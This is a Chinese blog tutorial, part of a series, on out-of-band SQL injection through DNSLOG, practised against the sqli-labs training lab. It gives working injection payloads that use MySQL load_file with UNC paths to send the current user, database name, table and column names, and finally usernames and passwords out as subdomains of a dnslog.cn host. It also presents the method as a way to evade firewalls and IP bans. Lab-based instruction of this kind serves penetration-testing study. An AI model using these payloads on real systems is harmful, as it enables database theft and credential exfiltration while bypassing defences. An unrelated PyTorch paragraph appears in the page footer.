渗透测试---手把手教你SQL注入(4)--DNSLOG外带注入

渗透测试----手把手教你SQL手工注入(1)--(联合查询,报错注入)icon-default.png?t=N7T8http://t.csdnimg.cn/kpEKZ渗透测试---手把手教你SQL注入(2)---盲注icon-default.png?t=N7T8http://t.csdnimg.cn/y1VJM渗透测试---手把手教你SQL注入(3)---UA头注入与referer注入icon-default.png?t=N7T8http://t.csdnimg.cn/g9sf4

盲注测试过多导致IP被封怎么办?----DNSLOG外带

原理剖析

所需了解的前置知识

UNC路径

注入所需条件

load_file函数

使用限制

小试牛刀---得到用户名

靶场实战----less-5

注出数据库名

 注出数据表名

注出用户名和密码


盲注测试过多导致IP被封怎么办?----DNSLOG外带


Bypass-渗透测试---手把手教你SQL注入---Bypass姿势(如何绕过过滤措施?)icon-default.png?t=N7T8http://t.csdnimg.cn/BicwG

通常我们面对SQL注入过程中没有回显的情况时,只能通过盲注的方式来判断是否存在SQL注入,但是,使用盲注,需要花费大量时间进行测试,并且还可能需要对目标服务器发送大量请求,这会导致我们的IP容易被目标服务器封掉.

在这种情况下,我们可以考虑使用DNSLOG外带的方式

DNSLOG是一种外带技术,通常用于在SQL注入攻击中绕过防火墙和安全措施,
以获取更多的信息。

在SQL注入攻击中,攻击者通常会利用应用程序中的漏洞,
向数据库发送恶意的SQL查询,以获取敏感信息或执行其他恶意操作。
为了防止这种攻击,许多防火墙和安全设备会检测和阻止这些恶意查询。

然而,DNSLOG技术可以使攻击者绕过这些安全措施。
该技术利用了DNS(域名系统)的特性,将恶意查询中的参数替换为DNS查询。
这样,当查询被发送到数据库时,实际上是向DNS服务器发送了一个查询请求。

由于DNS查询是合法的网络操作,许多防火墙和安全设备不会阻止这类查询。
因此,使用DNSLOG技术可以使攻击者绕过防火墙和其他安全措施,
成功地向数据库发送恶意的SQL查询。

DNS查询的大致流程:

我们输入域名之后 我们的本地域名服务器会把在自身服务器里面查询是否存在ip地址 如果没有则发送到根域名服务器 如果根域名服务器里面有对应的记录则返回 如果没有则告诉本地域名服务器去向顶级域名服务器查找。

原理剖析

dns在解析的时候会留下记录。

 当DNS服务器可以进入(比如说是我们自己的)时,我们就可以通过查看日志来获取一些信息.

那么我们可以在dns请求中添加特有的payload字段,并通过dns解析将请求后的关键信息组合成新的三级域名带出,最终在ns服务器的dns日志中显示出来。

所需了解的前置知识

UNC路径

UNC路径就是类似\softer这样的形式的网络路径。它符合\ \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:

\\servername\sharename\directory\filename。例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径

//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt

注入所需条件

首先需要明了的是,dnslog带外查询属于MySQL注入,在MySQL中有个系统属性secure_file_priv该属性有三种状态:

secure_file_priv为null时表示不允许导入导出
secure_file_priv指定文件夹时表示MySQL的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时表示没有任何限制

 使用如下语句查看MySQL中secure_file_priv的当前状态:

mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name            | Value |
+--------------------------+-------+
| require_secure_transport | OFF   |
| secure_file_priv         | NULL  |
+--------------------------+-------+
2 rows in set, 1 warning (0.00 sec)

 将其设置为空:

set global secure_file_priv="";

 也可以直接在配置文件中修改:

找到mysql安装目录下的my.ini文件,使用记事本打开,找到[mysqld]选项,向其添加secure_file_priv="" (默认为不存在)添加完成之后重启mysql服务器即可

load_file函数

MySQL中的LOAD_FILE()函数:LOAD_FILE()函数读取一个文件并将其内容作为字符串返回,语法为:load_file(file_name),其中file_name是文件的完整路径(这样的路径可以使用UNC路径)

使用限制

不管是布尔类型盲注还是时间盲注,都需要发送大量的数据包去判断数据,而这很可能会触发WAF(网络防火墙)的防护,因此导致被封IP。所以,如果条件允许,我们可以结合DNSlog来快速的回显数据。在MySQL数据库中,通过DNSlog盲注需要用到 load_file() 函数,该函数不仅能加载本地文件,同时也能对URL发起请求。因为需要使用 load_file() 函数,所以需要root权限,并且 secure_file_priv 需要为空。并且服务器要为Windows操作系统

需要root权限

secure_file_priv需要为空

secure_file_priv=""

服务器要为WINDOWS操作系统

小试牛刀---得到用户名

拓展链接:

渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇icon-default.png?t=N7T8http://t.csdnimg.cn/CZ8DO

我们需要先找一个DNS服务器网站:dnslog.cn

以sqli-labs-master靶场的第一关为例:

语句如下:

GET /sqli-labs-master/Less-1/?id=1'+and
+(select+load_file
(concat('\\\\',(select+hex(user())),'.u9bdu1.dnslog.cn\\qwe.txt')))
--+ HTTP/1.1
这里之所以用4个"\",是因为在SQL语句中"\"需要转义
,"\\\\"经转义后变为"\\" ,最终就相当于
select load_file(\\root@localhost.u9bdu1.dnslog.cn\qwe.txt)
其中\\root@localhost.u9bdu1.dnslog.cn\qwe.txt
就是之前所讲的UNC路径

注意查询的语句user()最好进行一次编码,因为如果查询的数据中包含特殊字符的话是无法作为域名的,这里使用hex编码

为什么要对查询的内容进行hex编码?

如果我们要查询的用户名中存在特殊字符:如!@#$%^&

最后在请求DNS服务器时变成:!@#$%^&*.upa46v.dnslog.cn

由于存在特殊字符的域名无法解析,因此在DNS日志中也找不到我们查询的数据。

因此需要编码后进行查询:21402324255E262A2E.upa46v.dnslog.cn

 在我们查询时,当不确定查询结果是否存在特殊字符时,最好先将其hex编码后再带入查询
注意,
虽然使用hex()可以解决UNC特殊字符的问题,
但是UNC的长度也不能超过128,
所以自行看情况使用hex()。

DNS记录如下:

使用BurpSuite自带的编码工具进行hex解码,获取用户信息:

靶场实战----less-5

同样,我们需要先找一个子域名:

确保可以ping通,(网站提供的子域名过一段时间可能会失效,需要点击"Get SubDomain"刷新获取一个新的):

PS C:\Users\l1834> ping 2ejuqb.dnslog.cn

正在 Ping 2ejuqb.dnslog.cn [127.0.0.1] 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128

127.0.0.1 的 Ping 统计信息:
    数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
    最短 = 0ms,最长 = 0ms,平均 = 0ms

注出数据库名

POC如下(需要注意括号的匹配):

/Less-5/?id=1
'+and+(select+load_file(
concat('\\\\',select+hex(database()))
,'.2ejuqb.dnslog.cn/1.txt')
))--+

DNS记录如下: 

 使用解码工具解码就得到数据库名"security"

 注出数据表名

这里仅需对上边的POC稍加修改即可(这里括号令人眼花缭乱,需要注意hex只需包含group_concat(table_name))

/Less-5/?id=1'
+and+(select+load_file(
concat('\\\\',
(select+hex(group_concat(table_name))
+from+information_schema.tables
+where+table_schema='security'),
'.2ejuqb.dnslog.cn\\1.txt')))--+ HTTP/1.1
select hex(group_concat(table_name)) 
from information_schema.tables
where table_schema='security';

注出数据表中的字段名

这里以users表为例 

id=1'+and+
(select+load_file(
concat('\\\\',(select+hex(group_concat(column_name))
+from+information_schema.columns
+where+table_schema='security'+and+table_name='users'),
'.2ejuqb.dnslog.cn\\1.txt')))--+ 
select hex(group_concat(column_name))
from information_schema.columns
where table_schema='security' and table_name='users';

 得到users表中的三个字段名,显然,username和password这两个字段是我们需要的

注出用户名和密码

 这里如果依旧使用group_concat(username,'~',password)的话可能会使hex编码过长,导致最终URC的长度超过128,所以我们这里不再进行hex编码并使用concat()结合limit语句来依次注出用户名和密码:

?id=1'+and+(
select+load_file(concat('\\\\',(
select+concat(username,'-',password)
+from+security.users
+limit+0,1)
,'.2ejuqb.dnslog.cn\\1.txt')))--+ 
select concat(username,'-',password)
from security.users
limit 0,1

本系列的后续:

渗透测试---手把手教你SQL注入(5)---Cookie注入,宽字节注入与堆叠注入icon-default.png?t=N7T8http://t.csdnimg.cn/4Rp0e

渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇icon-default.png?t=N7T8http://t.csdnimg.cn/CZ8DO

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
2023-pytorch是一个开源深度学习库,它在计算机视觉领域有广泛的应用。本文将手把手你如何使用CSDN来学习和获取有关2023-pytorch分类的相关资料和程。 首先,在你的浏览器中打开CSDN的官方网站,网址为www.csdn.net。在主页上,你可以看到各种热门的技术文章、博客和论坛。在搜索框中输入"2023-pytorch分类",然后点击搜索按钮。CSDN将会为你展示与该关键词相关的所有内容。 接下来,你可以通过筛选工具来找到特定类型的文章或程。例如,你可以选择只查看博客、文章或程。你还可以选择按照发布时间或热度排序来获取最新或最受欢迎的内容。 当你找到一篇感兴趣的程时,点击进入阅读。通常,程会提供详细的步骤和示例代码,帮助你了解如何使用2023-pytorch进行分类任务。你可以按照程中的指示一步一步地操作,并理解每个步骤的原理和作用。 除了阅读程外,CSDN还提供了一个活跃的技术问答社区。你可以在这里向其他用户提问、讨论问题,或分享你的学习体验和心得。社区中的任何人都可以回答你的问题,所以不要犹豫,积极参与其中。 此外,CSDN还为用户提供了博客功能,你可以创建自己的博客来记录学习过程和分享实践经验。通过写博客,你还可以得到其他人的反馈和建议,不断提升自己的技术水平。 总结起来,要使用CSDN学习和获取有关2023-pytorch分类的相关资料和程,你可以通过搜索功能找到相关内容,阅读程并按照指导一步一步地进行实践,参与技术问答社区以及利用博客功能分享你的学习心得和经验。通过这些途径,你将能够快速掌握2023-pytorch分类的基本原理和应用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

洛一方

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值